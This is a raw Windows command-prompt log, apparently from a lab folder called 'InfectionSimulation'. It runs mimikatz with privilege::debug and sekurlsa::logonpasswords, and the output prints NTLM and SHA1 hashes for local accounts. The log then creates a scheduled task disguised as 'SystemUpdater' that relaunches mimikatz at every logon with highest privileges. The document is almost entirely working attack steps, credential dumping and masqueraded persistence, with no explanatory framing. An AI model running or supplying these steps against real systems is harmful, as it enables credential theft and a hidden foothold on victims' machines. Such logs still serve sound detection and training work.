Microsoft Windows [Version 10.0.19045.5854] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>cd C:\InfectionSimulation C:\InfectionSimulation>mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /\*\*\* Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > <https://blog.gentilkiwi.com/mimikatz> '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > [https://pingcastle.com](https://pingcastle.com/) / [https://mysmartlogon.com](https://mysmartlogon.com/) \*\*\*/ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 1586963 (00000000:00183713) Session : Interactive from 1 User Name : Sumit Domain : DESKTOP-H7F79CG Logon Server : DESKTOP-H7F79CG Logon Time : 6/2/2025 1:27:46 AM SID : S-1-5-21-1112181999-4199777422-2251726333-1001 msv : [00000003] Primary \* Username : Sumit \* Domain : DESKTOP-H7F79CG \* NTLM : 9218809b443d9dd59bcc9efd18572af9 \* SHA1 : 32e5028f8b147f4d8c374bcd02d82bbe5b9e13c3 \* DPAPI : 32e5028f8b147f4d8c374bcd02d82bbe tspkg : wdigest : \* Username : Sumit \* Domain : DESKTOP-H7F79CG \* Password : (null) kerberos : \* Username : Sumit \* Domain : DESKTOP-H7F79CG \* Password : (null) ssp : credman : cloudap : Authentication Id : 0 ; 1050757 (00000000:00100885) Session : Interactive from 1 User Name : Sumit Domain : DESKTOP-H7F79CG Logon Server : DESKTOP-H7F79CG Logon Time : 6/2/2025 1:21:32 AM SID : S-1-5-21-1112181999-4199777422-2251726333-1001 msv : [00000003] Primary \* Username : Sumit \* Domain : DESKTOP-H7F79CG \* NTLM : 9218809b443d9dd59bcc9efd18572af9 \* SHA1 : 32e5028f8b147f4d8c374bcd02d82bbe5b9e13c3 \* DPAPI : 32e5028f8b147f4d8c374bcd02d82bbe tspkg : wdigest : \* Username : Sumit \* Domain : DESKTOP-H7F79CG \* Password : (null) kerberos : \* Username : Sumit \* Domain : DESKTOP-H7F79CG \* Password : (null) ssp : credman : cloudap : Authentication Id : 0 ; 356268 (00000000:00056fac) Session : Interactive from 1 User Name : testuser Domain : DESKTOP-H7F79CG Logon Server : DESKTOP-H7F79CG Logon Time : 6/2/2025 1:20:00 AM SID : S-1-5-21-1112181999-4199777422-2251726333-1002 msv : [00000003] Primary \* Username : testuser \* Domain : DESKTOP-H7F79CG \* NTLM : 58a478135a93ac3bf058a5ea0e8fdb71 \* SHA1 : 0d7d930ac3b1322c8a1142f9b22169d4eef9e855 \* DPAPI : 0d7d930ac3b1322c8a1142f9b22169d4 tspkg : wdigest : \* Username : testuser \* Domain : DESKTOP-H7F79CG \* Password : (null) kerberos : \* Username : testuser \* Domain : DESKTOP-H7F79CG \* Password : (null) ssp : credman : cloudap : Authentication Id : 0 ; 51225 (00000000:0000c819) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 6/2/2025 1:18:55 AM SID : S-1-5-90-0-1 msv : tspkg : wdigest : \* Username : DESKTOP-H7F79CG$ \* Domain : WORKGROUP \* Password : (null) kerberos : ssp : credman : cloudap : Authentication Id : 0 ; 51207 (00000000:0000c807) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 6/2/2025 1:18:55 AM SID : S-1-5-90-0-1 msv : tspkg : wdigest : \* Username : DESKTOP-H7F79CG$ \* Domain : WORKGROUP \* Password : (null) kerberos : ssp : credman : cloudap : Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 6/2/2025 1:18:55 AM SID : S-1-5-19 msv : tspkg : wdigest : \* Username : (null) \* Domain : (null) \* Password : (null) kerberos : \* Username : (null) \* Domain : (null) \* Password : (null) ssp : credman : cloudap : Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : DESKTOP-H7F79CG$ Domain : WORKGROUP Logon Server : (null) Logon Time : 6/2/2025 1:18:55 AM SID : S-1-5-20 msv : tspkg : wdigest : \* Username : DESKTOP-H7F79CG$ \* Domain : WORKGROUP \* Password : (null) kerberos : \* Username : desktop-h7f79cg$ \* Domain : WORKGROUP \* Password : (null) ssp : credman : cloudap : Authentication Id : 0 ; 27987 (00000000:00006d53) Session : Interactive from 0 User Name : UMFD-0 Domain : Font Driver Host Logon Server : (null) Logon Time : 6/2/2025 1:18:54 AM SID : S-1-5-96-0-0 msv : tspkg : wdigest : \* Username : DESKTOP-H7F79CG$ \* Domain : WORKGROUP \* Password : (null) kerberos : ssp : credman : cloudap : Authentication Id : 0 ; 27918 (00000000:00006d0e) Session : Interactive from 1 User Name : UMFD-1 Domain : Font Driver Host Logon Server : (null) Logon Time : 6/2/2025 1:18:54 AM SID : S-1-5-96-0-1 msv : tspkg : wdigest : \* Username : DESKTOP-H7F79CG$ \* Domain : WORKGROUP \* Password : (null) kerberos : ssp : credman : cloudap : Authentication Id : 0 ; 26993 (00000000:00006971) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 6/2/2025 1:18:54 AM SID : msv : tspkg : wdigest : kerberos : ssp : credman : cloudap : Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : DESKTOP-H7F79CG$ Domain : WORKGROUP Logon Server : (null) Logon Time : 6/2/2025 1:18:54 AM SID : S-1-5-18 msv : tspkg : wdigest : \* Username : DESKTOP-H7F79CG$ \* Domain : WORKGROUP \* Password : (null) kerberos : \* Username : desktop-h7f79cg$ \* Domain : WORKGROUP \* Password : (null) ssp : credman : cloudap : mimikatz # exit Bye! C:\InfectionSimulation>schtasks /create /tn "SystemUpdater" /tr "C:\InfectionSimulation\mimikatz.exe" /sc onlogon rl highest ERROR: Invalid argument/option - 'rl'. Type "SCHTASKS /CREATE /?" for usage. C:\InfectionSimulation>schtasks /create /tn "SystemUpdater" /tr "C:\InfectionSimulation\mimikatz.exe" /sc onlogon /rl highest SUCCESS: The scheduled task "SystemUpdater" has successfully been created. C:\InfectionSimulation>